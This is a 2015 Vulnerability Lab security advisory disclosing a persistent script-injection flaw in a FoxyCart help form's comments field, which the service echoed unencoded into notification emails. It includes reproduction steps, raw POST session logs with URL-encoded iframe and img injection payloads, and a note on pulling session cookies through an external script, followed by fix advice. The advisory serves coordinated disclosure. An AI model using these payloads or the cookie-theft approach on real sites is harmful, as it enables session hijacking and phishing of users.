FoxyCart Bug Bounty #1 - Filter Bypass & Persistent Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
FoxyCart Bug Bounty #1 - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1451

098bdc9b309783df65044c5abb690dafdd4bcd436c380ae68c924fe37e14b4e0


Release Date:
=============
2015-07-15


Vulnerability Laboratory ID (VL-ID):
====================================
1451


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
Helping developers _add_ custom ecommerce without reinventing the wheel.

(Copy of the Homepage:  https://github.com/FoxyCart )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a filter bypass issue and an application-side input 
validation vulnerability in the official FoxyCart web-application.


Vulnerability Disclosure Timeline:
==================================
2015-03-05: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2015-04-01: Vendor Notification (FoxyCart - Security Research Team)
2015-04-09: Vendor Response/Feedback (FoxyCart - Security Research Team)
2015-06-30: Vendor Fix/Patch ( (FoxyCart - Developer Team)
2015-07-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
FoxyCart LLC
Product: FoxyCart - Web Application 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation mail encoding vulnerability has been discovered in the official FoxyCart company 
web-application.
The issue allows remote attackers to inject own malicious web context to the application-side of a vulnerable module or 
function.

The security vulnerability is located in the `comments` input field value of the `landing/white-glove-onboarding > Help 
Form` module. 
Remote attackers can exploit the issue to execute persistent malicious context in foxycart service mails.

The injection takes place in the help contact form POST method request with the vulnerable comments input value. The 
execution of the 
script code occurs on the application-side in the email body context. Attackers are able to inject iframes, img sources 
with onload alert 
or other script code tags. The service does not encode the input and has also no input restriction. 

After the code has been saved during the registration the internal service takes the wrong encoded dbms entries and 
stream them back in a 
notification mail to the registered users inbox. The attacker is also able to include random email adresses to stream 
mails with malicious 
persistent context to random targets for phishing, spam and co. The code does not execute in the profile values that 
introduces to the 
manufacturer itself but in the attached comments value that becomes visible in the copy mail.

The security risk of the persistent input validation web vulnerability in the mail encoding of the web-server is 
estimated as medium with a cvss 
(common vulnerability scoring system) count of 3.4. If the issue is existing in the main service values the other 
services can be affected by the 
issue too. Exploitation of the mail encoding and web-server validation vulnerability requires low or medium user 
interaction and no privileged 
customer application user account. Successful exploitation of the persistent mail encoding web vulnerability results in 
session hijacking, persistent 
phishing attacks, persistent redirects to external malicious source and persistent manipulation of affected or 
connected module context.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] landing/white-glove-onboarding > Help Form

Vulnerable Parameter(s):
                                [+] comments

Affected Module(s):
                                [+] We`ve received your email


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers without privileged application 
user account and with low or medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below 
to continue.

Manual steps to reproduce ...
1. Open the foxcart service
2. Surf to the vulnerable conatct form url
3. Inject random value to the inputs and inject to the comments your script code payload
4. Save the entry
5. Redirect via Refresh Referer to confirm the contact request
6. Check inbox of the contact mail input
7. The code executes in the comments body section
8. Successful reproduce of the vulnerability! 



--- PoC Session Logs [POST] (Inject) ---
13:33:03.031[1210ms][total 1210ms] Status: 302[Found]
POST http://www.foxycart.com/landing/white-glove-onboarding Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] 
Größe des Inhalts[0] Mime Type[text/html]
   Request Header:
      Host[www.foxycart.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://www.foxycart.com/landing/white-glove-onboarding]
      
Cookie[optimizelySegments=%7B%22234696064%22%3A%22ff%22%2C%22234587425%22%3A%22false%22%2C%22234346863%22%3A%22referral%22%7D;
 optimizelyEndUserId=oeu1425557285423r0.7588310203460514; optimizelyBuckets=%7B%22630610022%22%3A%22637250003%22%7D; 
__utma=91412365.670830544.1425557288.1425557288.1425557288.1; __utmb=91412365.49.9.1425557973207; __utmc=91412365; 
__utmz=91412365.1425557288.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wcsid=bVqtl3HXcMvZjcCk575fV3P3JO6NjyT2; 
hblid=cXd4qSmViFwp1L9N575fV3P3JONRArB8; _oklv=1425558756967%2CbVqtl3HXcMvZjcCk575fV3P3JO6NjyT2; 
ajs_user_id=%22bkm%40evolution-sec.com%22; ajs_group_id=null; 
ajs_anonymous_id=%22f9f4d6e9-ba8f-4231-b4e5-fb1e4dd21d01%22; 
__ar_v4=M2MP7NP4NRDZJKE5JJ255A%3A20150304%3A14%7CMZASOLFIIFHM7D4UXSZSHG%3A20150304%3A14%7CZ5SPRZQMMBAYPLL3Z7BEBR%3A20150304%3A14;
 kvcd=1425558696901; km_ai=bkm%40evolution-sec.com; km_uq=; km_vs=1; km_lv=1425558697; olfsk=olfsk9501150073115311; 
_okbk=cd4%3Dtrue%2Cvi5%3D0%2Cvi4%3D1425557290132%2Cvi3%3Dactive%2Cvi2%3Dfalse%2Cvi1%3Dfalse%2Ccd8%3Dchat%2Ccd6%3D0%2Ccd5%3Daway%2Ccd3%3Dfalse%2Ccd2%3D0%2Ccd1%3D0%2C;
 _ok=2799-934-10-5695; __utmv=91412365.|1=user_type=programmer%20developer%20merchant=1^2=trial=0.1=1; 
km_ni=bkm%40evolution-sec.com; optimizelyPendingLogEvents=%5B%5D]
      Connection[keep-alive]
   POST-Daten:
      firstName[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      lastName[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      email[bkm%40evolution-sec.com]
      phone[235235235]
      field-0[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      field-3[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      
field-4[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      id[840b20b9386a4e669f20873f092ae257]
   Response Header:
      Content-Type[text/html]
      Expires[Thu, 05 Mar 15 04:34:12 -0800]
      Cache-Control[max-age=60]
      Vary[Accept-Encoding]
      Location[http://www.foxycart.com/landing/white-glove-onboarding?contact=submitted]
      Content-Length[0]
      Accept-Ranges[bytes]
      Date[Thu, 05 Mar 2015 12:33:13 GMT]
      Connection[keep-alive]
      X-Frame-Options[SAMEORIGIN]


-
-
13:33:04.242[1255ms][total 1728ms] Status: 200[OK]
GET http://www.foxycart.com/landing/white-glove-onboarding?contact=submitted Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE 
 LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[7726] Mime Type[text/html]
   Request Header:
      Host[www.foxycart.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://www.foxycart.com/landing/white-glove-onboarding]
      
Cookie[optimizelySegments=%7B%22234696064%22%3A%22ff%22%2C%22234587425%22%3A%22false%22%2C%22234346863%22%3A%22referral%22%7D;
 optimizelyEndUserId=oeu1425557285423r0.7588310203460514; optimizelyBuckets=%7B%22630610022%22%3A%22637250003%22%7D; 
__utma=91412365.670830544.1425557288.1425557288.1425557288.1; __utmb=91412365.49.9.1425557973207; __utmc=91412365; 
__utmz=91412365.1425557288.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wcsid=bVqtl3HXcMvZjcCk575fV3P3JO6NjyT2; 
hblid=cXd4qSmViFwp1L9N575fV3P3JONRArB8; _oklv=1425558756967%2CbVqtl3HXcMvZjcCk575fV3P3JO6NjyT2; 
ajs_user_id=%22bkm%40evolution-sec.com%22; ajs_group_id=null; 
ajs_anonymous_id=%22f9f4d6e9-ba8f-4231-b4e5-fb1e4dd21d01%22; 
__ar_v4=M2MP7NP4NRDZJKE5JJ255A%3A20150304%3A14%7CMZASOLFIIFHM7D4UXSZSHG%3A20150304%3A14%7CZ5SPRZQMMBAYPLL3Z7BEBR%3A20150304%3A14;
 kvcd=1425558696901; km_ai=bkm%40evolution-sec.com; km_uq=; km_vs=1; km_lv=1425558697; olfsk=olfsk9501150073115311; 
_okbk=cd4%3Dtrue%2Cvi5%3D0%2Cvi4%3D1425557290132%2Cvi3%3Dactive%2Cvi2%3Dfalse%2Cvi1%3Dfalse%2Ccd8%3Dchat%2Ccd6%3D0%2Ccd5%3Daway%2Ccd3%3Dfalse%2Ccd2%3D0%2Ccd1%3D0%2C;
 _ok=2799-934-10-5695; __utmv=91412365.|1=user_type=programmer%20developer%20merchant=1^2=trial=0.1=1; 
km_ni=bkm%40evolution-sec.com; optimizelyPendingLogEvents=%5B%5D]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/html]
      Expires[Thu, 05 Mar 15 04:34:13 -0800]
      Cache-Control[max-age=60]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[7726]
      Accept-Ranges[bytes]
      Date[Thu, 05 Mar 2015 12:33:14 GMT]
      Connection[keep-alive]
      X-Frame-Options[SAMEORIGIN]



Note: Inject an img or iframe with an external js source that requests session data by usage of document.cookie to 
exploit

Reference(s):
http://www.foxycart.com/landing/white-glove-onboarding
http://www.foxycart.com/landing/white-glove-onboarding?contact=submitted


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure filter mechanism next to the help comment support form.
Restrict the input and encode the output message with the delivered copy.


Security Risk:
==============
The security risk of the filter issue and application-side input validation vulnerability is estimated as medium. (CVSS 
3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) [www.vulnerability-lab.com]


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=========================
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